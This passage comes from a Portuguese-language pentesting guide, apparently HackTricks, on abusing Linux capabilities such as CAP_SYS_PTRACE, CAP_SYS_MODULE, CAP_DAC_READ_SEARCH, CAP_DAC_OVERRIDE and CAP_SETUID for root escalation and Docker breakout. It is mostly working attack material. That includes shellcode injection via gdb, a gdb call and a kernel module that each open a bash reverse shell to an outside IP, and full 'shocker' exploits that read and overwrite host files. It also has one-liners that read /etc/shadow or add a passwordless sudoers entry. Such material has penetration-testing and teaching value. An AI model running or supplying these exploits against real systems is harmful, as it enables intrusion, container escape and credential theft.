buf += b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
|
||
buf += b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
|
||
buf += b"\x0f\x05"
|
||
|
||
# Divisible by 8
|
||
payload = b"\x90" * (-len(buf) % 8) + buf
|
||
|
||
# Change endianess and print gdb lines to load the shellcode in RIP directly
|
||
for i in range(0, len(buf), 8):
|
||
chunk = payload[i:i+8][::-1]
|
||
chunks = "0x"
|
||
for byte in chunk:
|
||
chunks += f"{byte:02x}"
|
||
|
||
print(f"set {{long}}($rip+{i}) = {chunks}")
|
||
```
|
||
Depure um processo root com gdb e copie e cole as linhas gdb geradas anteriormente:
|
||
```bash
|
||
# Let's write the commands to a file
|
||
echo 'set {long}($rip+0) = 0x296a909090909090
|
||
set {long}($rip+8) = 0x5e016a5f026a9958
|
||
set {long}($rip+16) = 0x0002b9489748050f
|
||
set {long}($rip+24) = 0x48510b0e0a0a2923
|
||
set {long}($rip+32) = 0x582a6a5a106ae689
|
||
set {long}($rip+40) = 0xceff485e036a050f
|
||
set {long}($rip+48) = 0x6af675050f58216a
|
||
set {long}($rip+56) = 0x69622fbb4899583b
|
||
set {long}($rip+64) = 0x8948530068732f6e
|
||
set {long}($rip+72) = 0x050fe689485752e7
|
||
c' > commands.gdb
|
||
# In this case there was a sleep run by root
|
||
## NOTE that the process you abuse will die after the shellcode
|
||
/usr/bin/gdb -p $(pgrep sleep)
|
||
[...]
|
||
(gdb) source commands.gdb
|
||
Continuing.
|
||
process 207009 is executing new program: /usr/bin/dash
|
||
[...]
|
||
```
|
||
**Exemplo com ambiente (Docker breakout) - Outro abuso do gdb**
|
||
|
||
Se **GDB** estiver instalado (ou você puder instalá-lo com `apk add gdb` ou `apt install gdb`, por exemplo), você pode **depurar um processo do host** e fazer com que ele chame a função `system`. (Esta técnica também requer a capacidade `SYS_ADMIN`)**.**
|
||
```bash
|
||
gdb -p 1234
|
||
(gdb) call (void)system("ls")
|
||
(gdb) call (void)system("sleep 5")
|
||
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'")
|
||
```
|
||
Você não poderá ver a saída do comando executado, mas ele será executado por esse processo (então obtenha um rev shell).
|
||
|
||
{% hint style="warning" %}
|
||
Se você receber o erro "No symbol "system" in current context.", verifique o exemplo anterior carregando um shellcode em um programa via gdb.
|
||
{% endhint %}
|
||
|
||
**Exemplo com ambiente (Docker breakout) - Injeção de Shellcode**
|
||
|
||
Você pode verificar as capacidades habilitadas dentro do contêiner docker usando:
|
||
```bash
|
||
capsh --print
|
||
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
|
||
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
|
||
Securebits: 00/0x0/1'b0
|
||
secure-noroot: no (unlocked)
|
||
secure-no-suid-fixup: no (unlocked)
|
||
secure-keep-caps: no (unlocked)
|
||
uid=0(root)
|
||
gid=0(root)
|
||
groups=0(root
|
||
```
|
||
Liste **processos** em execução no **host** `ps -eaf`
|
||
|
||
1. Obtenha a **arquitetura** `uname -m`
|
||
2. Encontre um **shellcode** para a arquitetura ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128))
|
||
3. Encontre um **programa** para **injetar** o **shellcode** na memória de um processo ([https://github.com/0x00pf/0x00sec\_code/blob/master/mem\_inject/infect.c](https://github.com/0x00pf/0x00sec\_code/blob/master/mem\_inject/infect.c))
|
||
4. **Modifique** o **shellcode** dentro do programa e **compile**-o `gcc inject.c -o inject`
|
||
5. **Injete** e capture seu **shell**: `./inject 299; nc 172.17.0.1 5600`
|
||
|
||
## CAP\_SYS\_MODULE
|
||
|
||
**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** capacita um processo a **carregar e descarregar módulos do kernel (`init_module(2)`, `finit_module(2)` e `delete_module(2)` chamadas de sistema)**, oferecendo acesso direto às operações principais do kernel. Essa capacidade apresenta riscos críticos de segurança, pois permite a escalada de privilégios e a total comprometimento do sistema ao permitir modificações no kernel, contornando assim todos os mecanismos de segurança do Linux, incluindo Módulos de Segurança do Linux e isolamento de contêineres.
|
||
**Isso significa que você pode** **inserir/remover módulos do kernel no/do kernel da máquina host.**
|
||
|
||
**Exemplo com binário**
|
||
|
||
No exemplo a seguir, o binário **`python`** possui essa capacidade.
|
||
```bash
|
||
getcap -r / 2>/dev/null
|
||
/usr/bin/python2.7 = cap_sys_module+ep
|
||
```
|
||
Por padrão, o comando **`modprobe`** verifica a lista de dependências e arquivos de mapa no diretório **`/lib/modules/$(uname -r)`**.\
|
||
Para abusar disso, vamos criar uma pasta falsa **lib/modules**:
|
||
```bash
|
||
mkdir lib/modules -p
|
||
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)
|
||
```
|
||
Então **compile o módulo do kernel que você pode encontrar 2 exemplos abaixo e copie** para esta pasta:
|
||
```bash
|
||
cp reverse-shell.ko lib/modules/$(uname -r)/
|
||
```
|
||
Finalmente, execute o código python necessário para carregar este módulo do kernel:
|
||
```python
|
||
import kmod
|
||
km = kmod.Kmod()
|
||
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
|
||
km.modprobe("reverse-shell")
|
||
```
|
||
**Exemplo 2 com binário**
|
||
|
||
No exemplo a seguir, o binário **`kmod`** possui esta capacidade.
|
||
```bash
|
||
getcap -r / 2>/dev/null
|
||
/bin/kmod = cap_sys_module+ep
|
||
```
|
||
O que significa que é possível usar o comando **`insmod`** para inserir um módulo do kernel. Siga o exemplo abaixo para obter um **reverse shell** abusando desse privilégio.
|
||
|
||
**Exemplo com ambiente (Docker breakout)**
|
||
|
||
Você pode verificar as capacidades habilitadas dentro do contêiner docker usando:
|
||
```bash
|
||
capsh --print
|
||
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
|
||
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
|
||
Securebits: 00/0x0/1'b0
|
||
secure-noroot: no (unlocked)
|
||
secure-no-suid-fixup: no (unlocked)
|
||
secure-keep-caps: no (unlocked)
|
||
uid=0(root)
|
||
gid=0(root)
|
||
groups=0(root)
|
||
```
|
||
Dentro da saída anterior, você pode ver que a capacidade **SYS\_MODULE** está habilitada.
|
||
|
||
**Crie** o **módulo do kernel** que vai executar um shell reverso e o **Makefile** para **compilá-lo**:
|
||
|
||
{% code title="reverse-shell.c" %}
|
||
```c
|
||
#include <linux/kmod.h>
|
||
#include <linux/module.h>
|
||
MODULE_LICENSE("GPL");
|
||
MODULE_AUTHOR("AttackDefense");
|
||
MODULE_DESCRIPTION("LKM reverse shell module");
|
||
MODULE_VERSION("1.0");
|
||
|
||
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
|
||
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
|
||
|
||
// call_usermodehelper function is used to create user mode processes from kernel space
|
||
static int __init reverse_shell_init(void) {
|
||
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
|
||
}
|
||
|
||
static void __exit reverse_shell_exit(void) {
|
||
printk(KERN_INFO "Exiting\n");
|
||
}
|
||
|
||
module_init(reverse_shell_init);
|
||
module_exit(reverse_shell_exit);
|
||
```
|
||
{% endcode %}
|
||
|
||
{% code title="Makefile" %}
|
||
```bash
|
||
obj-m +=reverse-shell.o
|
||
|
||
all:
|
||
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
|
||
|
||
clean:
|
||
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
|
||
```
|
||
{% endcode %}
|
||
|
||
{% hint style="warning" %}
|
||
O caractere em branco antes de cada palavra make no Makefile **deve ser uma tabulação, não espaços**!
|
||
{% endhint %}
|
||
|
||
Execute `make` para compilá-lo.
|
||
```
|
||
ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop.
|
||
|
||
sudo apt update
|
||
sudo apt full-upgrade
|
||
```
|
||
Finalmente, inicie `nc` dentro de um shell e **carregue o módulo** de outro e você capturará o shell no processo nc:
|
||
```bash
|
||
#Shell 1
|
||
nc -lvnp 4444
|
||
|
||
#Shell 2
|
||
insmod reverse-shell.ko #Launch the reverse shell
|
||
```
|
||
**O código desta técnica foi copiado do laboratório de "Abusing SYS\_MODULE Capability" de** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)
|
||
|
||
Outro exemplo desta técnica pode ser encontrado em [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host)
|
||
|
||
## CAP\_DAC\_READ\_SEARCH
|
||
|
||
[**CAP\_DAC\_READ\_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite que um processo **ignore permissões para leitura de arquivos e para leitura e execução de diretórios**. Seu uso principal é para fins de busca ou leitura de arquivos. No entanto, também permite que um processo use a função `open_by_handle_at(2)`, que pode acessar qualquer arquivo, incluindo aqueles fora do namespace de montagem do processo. O identificador usado em `open_by_handle_at(2)` deve ser um identificador não transparente obtido através de `name_to_handle_at(2)`, mas pode incluir informações sensíveis, como números de inode, que são vulneráveis a manipulação. O potencial de exploração dessa capacidade, particularmente no contexto de contêineres Docker, foi demonstrado por Sebastian Krahmer com o exploit shocker, conforme analisado [aqui](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3).
|
||
**Isso significa que você pode** **ignorar as verificações de permissão de leitura de arquivos e as verificações de permissão de leitura/execução de diretórios.**
|
||
|
||
**Exemplo com binário**
|
||
|
||
O binário será capaz de ler qualquer arquivo. Portanto, se um arquivo como tar tiver essa capacidade, ele poderá ler o arquivo shadow:
|
||
```bash
|
||
cd /etc
|
||
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
|
||
cd /tmp
|
||
tar -cxf shadow.tar.gz
|
||
```
|
||
**Exemplo com binary2**
|
||
|
||
Neste caso, vamos supor que o binário **`python`** tenha essa capacidade. Para listar arquivos do root, você poderia fazer:
|
||
```python
|
||
import os
|
||
for r, d, f in os.walk('/root'):
|
||
for filename in f:
|
||
print(filename)
|
||
```
|
||
E para ler um arquivo, você poderia fazer:
|
||
```python
|
||
print(open("/etc/shadow", "r").read())
|
||
```
|
||
**Exemplo em Ambiente (quebra de Docker)**
|
||
|
||
Você pode verificar as capacidades habilitadas dentro do contêiner docker usando:
|
||
```
|
||
capsh --print
|
||
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
|
||
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
|
||
Securebits: 00/0x0/1'b0
|
||
secure-noroot: no (unlocked)
|
||
secure-no-suid-fixup: no (unlocked)
|
||
secure-keep-caps: no (unlocked)
|
||
uid=0(root)
|
||
gid=0(root)
|
||
groups=0(root)
|
||
```
|
||
Dentro da saída anterior, você pode ver que a capacidade **DAC\_READ\_SEARCH** está habilitada. Como resultado, o contêiner pode **debugar processos**.
|
||
|
||
Você pode aprender como a seguinte exploração funciona em [https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3), mas em resumo, **CAP\_DAC\_READ\_SEARCH** não apenas nos permite percorrer o sistema de arquivos sem verificações de permissão, mas também remove explicitamente quaisquer verificações para _**open\_by\_handle\_at(2)**_ e **pode permitir que nosso processo acesse arquivos sensíveis abertos por outros processos**.
|
||
|
||
O exploit original que abusa dessas permissões para ler arquivos do host pode ser encontrado aqui: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), a seguir está uma **versão modificada que permite indicar o arquivo que você deseja ler como primeiro argumento e despejá-lo em um arquivo.**
|
||
```c
|
||
#include <stdio.h>
|
||
#include <sys/types.h>
|
||
#include <sys/stat.h>
|
||
#include <fcntl.h>
|
||
#include <errno.h>
|
||
#include <stdlib.h>
|
||
#include <string.h>
|
||
#include <unistd.h>
|
||
#include <dirent.h>
|
||
#include <stdint.h>
|
||
|
||
// gcc shocker.c -o shocker
|
||
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir
|
||
|
||
struct my_file_handle {
|
||
unsigned int handle_bytes;
|
||
int handle_type;
|
||
unsigned char f_handle[8];
|
||
};
|
||
|
||
void die(const char *msg)
|
||
{
|
||
perror(msg);
|
||
exit(errno);
|
||
}
|
||
|
||
void dump_handle(const struct my_file_handle *h)
|
||
{
|
||
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
|
||
h->handle_type);
|
||
for (int i = 0; i < h->handle_bytes; ++i) {
|
||
fprintf(stderr,"0x%02x", h->f_handle[i]);
|
||
if ((i + 1) % 20 == 0)
|
||
fprintf(stderr,"\n");
|
||
if (i < h->handle_bytes - 1)
|
||
fprintf(stderr,", ");
|
||
}
|
||
fprintf(stderr,"};\n");
|
||
}
|
||
|
||
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
|
||
*oh)
|
||
{
|
||
int fd;
|
||
uint32_t ino = 0;
|
||
struct my_file_handle outh = {
|
||
.handle_bytes = 8,
|
||
.handle_type = 1
|
||
};
|
||
DIR *dir = NULL;
|
||
struct dirent *de = NULL;
|
||
path = strchr(path, '/');
|
||
// recursion stops if path has been resolved
|
||
if (!path) {
|
||
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
|
||
oh->handle_type = 1;
|
||
oh->handle_bytes = 8;
|
||
return 1;
|
||
}
|
||
|
||
++path;
|
||
fprintf(stderr, "[*] Resolving '%s'\n", path);
|
||
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
|
||
die("[-] open_by_handle_at");
|
||
if ((dir = fdopendir(fd)) == NULL)
|
||
die("[-] fdopendir");
|
||
for (;;) {
|
||
de = readdir(dir);
|
||
if (!de)
|
||
break;
|
||
fprintf(stderr, "[*] Found %s\n", de->d_name);
|
||
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
|
||
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
|
||
ino = de->d_ino;
|
||
break;
|
||
}
|
||
}
|
||
|
||
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
|
||
if (de) {
|
||
for (uint32_t i = 0; i < 0xffffffff; ++i) {
|
||
outh.handle_bytes = 8;
|
||
outh.handle_type = 1;
|
||
memcpy(outh.f_handle, &ino, sizeof(ino));
|
||
memcpy(outh.f_handle + 4, &i, sizeof(i));
|
||
if ((i % (1<<20)) == 0)
|
||
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
|
||
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
|
||
closedir(dir);
|
||
close(fd);
|
||
dump_handle(&outh);
|
||
return find_handle(bfd, path, &outh, oh);
|
||
}
|
||
}
|
||
}
|
||
closedir(dir);
|
||
close(fd);
|
||
return 0;
|
||
}
|
||
|
||
|
||
int main(int argc,char* argv[] )
|
||
{
|
||
char buf[0x1000];
|
||
int fd1, fd2;
|
||
struct my_file_handle h;
|
||
struct my_file_handle root_h = {
|
||
.handle_bytes = 8,
|
||
.handle_type = 1,
|
||
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
|
||
};
|
||
|
||
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
|
||
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
|
||
"[***] If you have pending sec consulting, I'll happily [***]\n"
|
||
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
|
||
|
||
read(0, buf, 1);
|
||
|
||
// get a FS reference from something mounted in from outside
|
||
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
|
||
die("[-] open");
|
||
|
||
if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
|
||
die("[-] Cannot find valid handle!");
|
||
|
||
fprintf(stderr, "[!] Got a final handle!\n");
|
||
dump_handle(&h);
|
||
|
||
if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
|
||
die("[-] open_by_handle");
|
||
|
||
memset(buf, 0, sizeof(buf));
|
||
if (read(fd2, buf, sizeof(buf) - 1) < 0)
|
||
die("[-] read");
|
||
|
||
printf("Success!!\n");
|
||
|
||
FILE *fptr;
|
||
fptr = fopen(argv[2], "w");
|
||
fprintf(fptr,"%s", buf);
|
||
fclose(fptr);
|
||
|
||
close(fd2); close(fd1);
|
||
|
||
return 0;
|
||
}
|
||
```
|
||
{% hint style="warning" %}
|
||
O exploit precisa encontrar um ponteiro para algo montado no host. O exploit original usou o arquivo /.dockerinit e esta versão modificada usa /etc/hostname. Se o exploit não estiver funcionando, talvez você precise definir um arquivo diferente. Para encontrar um arquivo que está montado no host, basta executar o comando mount:
|
||
{% endhint %}
|
||
|
||
![](<../../.gitbook/assets/image (407) (1).png>)
|
||
|
||
**O código desta técnica foi copiado do laboratório de "Abusing DAC\_READ\_SEARCH Capability" de** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)
|
||
|
||
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## CAP\_DAC\_OVERRIDE
|
||
|
||
**Isso significa que você pode contornar as verificações de permissão de escrita em qualquer arquivo, então você pode escrever em qualquer arquivo.**
|
||
|
||
Existem muitos arquivos que você pode **sobrescrever para escalar privilégios,** [**você pode obter ideias daqui**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges).
|
||
|
||
**Exemplo com binário**
|
||
|
||
Neste exemplo, o vim tem essa capacidade, então você pode modificar qualquer arquivo como _passwd_, _sudoers_ ou _shadow_:
|
||
```bash
|
||
getcap -r / 2>/dev/null
|
||
/usr/bin/vim = cap_dac_override+ep
|
||
|
||
vim /etc/sudoers #To overwrite it
|
||
```
|
||
**Exemplo com binário 2**
|
||
|
||
Neste exemplo, o binário **`python`** terá esta capacidade. Você poderia usar o python para sobrescrever qualquer arquivo:
|
||
```python
|
||
file=open("/etc/sudoers","a")
|
||
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
|
||
file.close()
|
||
```
|
||
**Exemplo com ambiente + CAP\_DAC\_READ\_SEARCH (quebra do Docker)**
|
||
|
||
Você pode verificar as capacidades habilitadas dentro do contêiner docker usando:
|
||
```bash
|
||
capsh --print
|
||
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
|
||
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
|
||
Securebits: 00/0x0/1'b0
|
||
secure-noroot: no (unlocked)
|
||
secure-no-suid-fixup: no (unlocked)
|
||
secure-keep-caps: no (unlocked)
|
||
uid=0(root)
|
||
gid=0(root)
|
||
groups=0(root)
|
||
```
|
||
Primeiro de tudo, leia a seção anterior que [**abusa da capacidade DAC\_READ\_SEARCH para ler arquivos arbitrários**](linux-capabilities.md#cap\_dac\_read\_search) do host e **compile** o exploit.\
|
||
Em seguida, **compile a seguinte versão do exploit shocker** que permitirá que você **escreva arquivos arbitrários** dentro do sistema de arquivos dos hosts:
|
||
```c
|
||
#include <stdio.h>
|
||
#include <sys/types.h>
|
||
#include <sys/stat.h>
|
||
#include <fcntl.h>
|
||
#include <errno.h>
|
||
#include <stdlib.h>
|
||
#include <string.h>
|
||
#include <unistd.h>
|
||
#include <dirent.h>
|
||
#include <stdint.h>
|
||
|
||
// gcc shocker_write.c -o shocker_write
|
||
// ./shocker_write /etc/passwd passwd
|
||
|
||
struct my_file_handle {
|
||
unsigned int handle_bytes;
|
||
int handle_type;
|
||
unsigned char f_handle[8];
|
||
};
|
||
void die(const char * msg) {
|
||
perror(msg);
|
||
exit(errno);
|
||
}
|
||
void dump_handle(const struct my_file_handle * h) {
|
||
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
|
||
h -> handle_type);
|
||
for (int i = 0; i < h -> handle_bytes; ++i) {
|
||
fprintf(stderr, "0x%02x", h -> f_handle[i]);
|
||
if ((i + 1) % 20 == 0)
|
||
fprintf(stderr, "\n");
|
||
if (i < h -> handle_bytes - 1)
|
||
fprintf(stderr, ", ");
|
||
}
|
||
fprintf(stderr, "};\n");
|
||
}
|
||
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
|
||
{
|
||
int fd;
|
||
uint32_t ino = 0;
|
||
struct my_file_handle outh = {
|
||
.handle_bytes = 8,
|
||
.handle_type = 1
|
||
};
|
||
DIR * dir = NULL;
|
||
struct dirent * de = NULL;
|
||
path = strchr(path, '/');
|
||
// recursion stops if path has been resolved
|
||
if (!path) {
|
||
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
|
||
oh -> handle_type = 1;
|
||
oh -> handle_bytes = 8;
|
||
return 1;
|
||
}
|
||
++path;
|
||
fprintf(stderr, "[*] Resolving '%s'\n", path);
|
||
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
|
||
die("[-] open_by_handle_at");
|
||
if ((dir = fdopendir(fd)) == NULL)
|
||
die("[-] fdopendir");
|
||
for (;;) {
|
||
de = readdir(dir);
|
||
if (!de)
|
||
break;
|
||
fprintf(stderr, "[*] Found %s\n", de -> d_name);
|
||
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
|
||
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
|
||
ino = de -> d_ino;
|
||
break;
|
||
}
|
||
}
|
||
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
|
||
if (de) {
|
||
for (uint32_t i = 0; i < 0xffffffff; ++i) {
|
||
outh.handle_bytes = 8;
|
||
outh.handle_type = 1;
|
||
memcpy(outh.f_handle, & ino, sizeof(ino));
|
||
memcpy(outh.f_handle + 4, & i, sizeof(i));
|
||
if ((i % (1 << 20)) == 0)
|
||
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
|
||
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
|
||
closedir(dir);
|
||
close(fd);
|
||
dump_handle( & outh);
|
||
return find_handle(bfd, path, & outh, oh);
|
||
}
|
||
}
|
||
}
|
||
closedir(dir);
|
||
close(fd);
|
||
return 0;
|
||
}
|
||
int main(int argc, char * argv[]) {
|
||
char buf[0x1000];
|
||
int fd1, fd2;
|
||
struct my_file_handle h;
|
||
struct my_file_handle root_h = {
|
||
.handle_bytes = 8,
|
||
.handle_type = 1,
|
||
.f_handle = {
|
||
0x02,
|
||
0,
|
||
0,
|
||
0,
|
||
0,
|
||
0,
|
||
0,
|
||
0
|
||
}
|
||
};
|
||
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
|
||
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
|
||
"[***] If you have pending sec consulting, I'll happily [***]\n"
|
||
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
|
||
read(0, buf, 1);
|
||
// get a FS reference from something mounted in from outside
|
||
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
|
||
die("[-] open");
|
||
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
|
||
die("[-] Cannot find valid handle!");
|
||
fprintf(stderr, "[!] Got a final handle!\n");
|
||
dump_handle( & h);
|
||
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
|
||
die("[-] open_by_handle");
|
||
char * line = NULL;
|
||
size_t len = 0;
|
||
FILE * fptr;
|
||
ssize_t read;
|
||
fptr = fopen(argv[2], "r");
|
||
while ((read = getline( & line, & len, fptr)) != -1) {
|
||
write(fd2, line, read);
|
||
}
|
||
printf("Success!!\n");
|
||
close(fd2);
|
||
close(fd1);
|
||
return 0;
|
||
}
|
||
```
|
||
Para escapar do contêiner docker, você poderia **baixar** os arquivos `/etc/shadow` e `/etc/passwd` do host, **adicionar** a eles um **novo usuário** e usar **`shocker_write`** para sobrescrevê-los. Então, **acessar** via **ssh**.
|
||
|
||
**O código desta técnica foi copiado do laboratório de "Abusing DAC\_OVERRIDE Capability" de** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com)
|
||
|
||
## CAP\_CHOWN
|
||
|
||
**Isso significa que é possível mudar a propriedade de qualquer arquivo.**
|
||
|
||
**Exemplo com binário**
|
||
|
||
Vamos supor que o **`python`** binário tenha essa capacidade, você pode **mudar** o **proprietário** do arquivo **shadow**, **mudar a senha do root** e escalar privilégios:
|
||
```bash
|
||
python -c 'import os;os.chown("/etc/shadow",1000,1000)'
|
||
```
|
||
Ou com o binário **`ruby`** tendo esta capacidade:
|
||
```bash
|
||
ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'
|
||
```
|
||
## CAP\_FOWNER
|
||
|
||
**Isso significa que é possível alterar as permissões de qualquer arquivo.**
|
||
|
||
**Exemplo com binário**
|
||
|
||
Se o python tiver essa capacidade, você pode modificar as permissões do arquivo shadow, **alterar a senha do root** e escalar privilégios:
|
||
```bash
|
||
python -c 'import os;os.chmod("/etc/shadow",0666)
|
||
```
|
||
### CAP\_SETUID
|
||
|
||
**Isso significa que é possível definir o id de usuário efetivo do processo criado.**
|
||
|
||
**Exemplo com binário**
|
||
|
||
Se o python tiver essa **capacidade**, você pode abusar dela muito facilmente para escalar privilégios para root:
|
||
```python
|
||
import os
|
||
os.setuid(0)
|
||
os.system("/bin/bash")
|
||
```
|
||
**Outra maneira:**
|
||
```python
|
||
import os
|
||
import prctl
|
||
#add the capability to the effective set
|
||
prctl.cap_effective.setuid = True
|
||
os.setuid(0)
|
||
os.system("/bin/bash")
|
||
```
|
||
## CAP\_SETGID
|
||
|
||
**Isso significa que é possível definir o id de grupo efetivo do processo criado.**
|
||
|
||
Existem muitos arquivos que você pode **substituir para escalar privilégios,** [**você pode obter ideias daqui**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges).
|
||
|
||
**Exemplo com binário**
|
||
|
||
Neste caso, você deve procurar arquivos interessantes que um grupo pode ler, porque você pode se passar por qualquer grupo:
|
||
```bash
|
||
#Find every file writable by a group
|
||
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
|
||
#Find every file writable by a group in /etc with a maxpath of 1
|
||
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
|
||
#Find every file readable by a group in /etc with a maxpath of 1
|
||
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null
|
||
```
|
||
Uma vez que você tenha encontrado um arquivo que pode abusar (via leitura ou escrita) para escalar privilégios, você pode **obter um shell se passando pelo grupo interessante** com:
|
||
```python
|
||
import os
|
||
os.setgid(42)
|
||
os.system("/bin/bash")
|
||
```
|
||
Neste caso, o grupo shadow foi impersonado, então você pode ler o arquivo `/etc/shadow`:
|
||
```bash
|
||
cat /etc/shadow
|
||
```
|
||
Se o **docker** estiver instalado, você pode **impersonar** o **grupo docker** e abusar dele para se comunicar com o [**docker socket** e escalar privilégios](./#writable-docker-socket).
|
||
|
||
## CAP\_SETFCAP
|
||
|
||
**Isso significa que é possível definir capacidades em arquivos e processos**
|
||
|
||
**Exemplo com binário**
|
||
|
||
Se o python tiver essa **capacidade**, você pode facilmente abusar dela para escalar privilégios para root:
|
||
|
||
{% code title="setcapability.py" %}
|
||
```python
|
||
import ctypes, sys
|
||
|
||
#Load needed library
|
||
